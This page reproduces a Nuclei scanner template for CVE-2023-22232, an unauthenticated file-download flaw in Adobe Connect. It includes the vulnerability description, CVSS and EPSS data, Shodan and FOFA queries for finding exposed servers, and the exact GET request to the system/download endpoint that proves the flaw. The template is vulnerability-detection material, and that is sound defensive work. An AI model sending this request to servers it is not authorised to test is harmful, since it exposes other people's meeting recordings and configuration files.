CVE-2023-22232: Adobe Connect < 12.1.5 - Local File Disclosure

2025-08-01 Adobe Connect PoC Public

Description

Adobe Connect versions 11.4.5 (and earlier), 12.1.5 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature. Exploitation of this issue does not require user interaction

PoC

id: CVE-2023-22232

info:
  name: Adobe Connect < 12.1.5 - Local File Disclosure
  author: 0xr2r
  severity: medium
  description: |
    Adobe Connect versions 11.4.5 (and earlier), 12.1.5 (and earlier) are affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to impact the integrity of a minor feature. Exploitation of this issue does not require user interaction
  impact: |
    Unauthenticated attackers can exploit improper access control to download arbitrary files through the system/download endpoint, potentially accessing sensitive Adobe Connect meeting recordings and configuration files.
  remediation: |
    Update Adobe Connect to version 12.1.5 or later that implements proper access control checks for the system/download functionality.
  reference:
    - https://helpx.adobe.com/security/products/connect/apsb23-05.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22232
    - http://packetstormsecurity.com/files/171390/Adobe-Connect-11.4.5-12.1.5-Local-File-Disclosure.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-22232
    cwe-id: CWE-284,NVD-CWE-noinfo
    epss-score: 0.81875
    epss-percentile: 0.9963
    cpe: cpe:2.3:a:adobe:connect:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: connect
    shodan-query:
      - title:"Adobe Connect"
      - http.title:"openvpn connect"
    fofa-query: title="openvpn connect"
    google-query: intitle:"openvpn connect"
  tags: packetstorm,cve2023,cve,adobe,lfd,download,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Save to My Computer"
          - "exam.pdf"
          - "Click to Download"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d62d3b2b67c776f1c2485ad04b09384444c9fbcbb090f4cf741094a3bafea3820221008f9f56bb00e1051bbfeae91fb77e446c52042b8766ffc38af9daee904ffe4891:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22232.yaml

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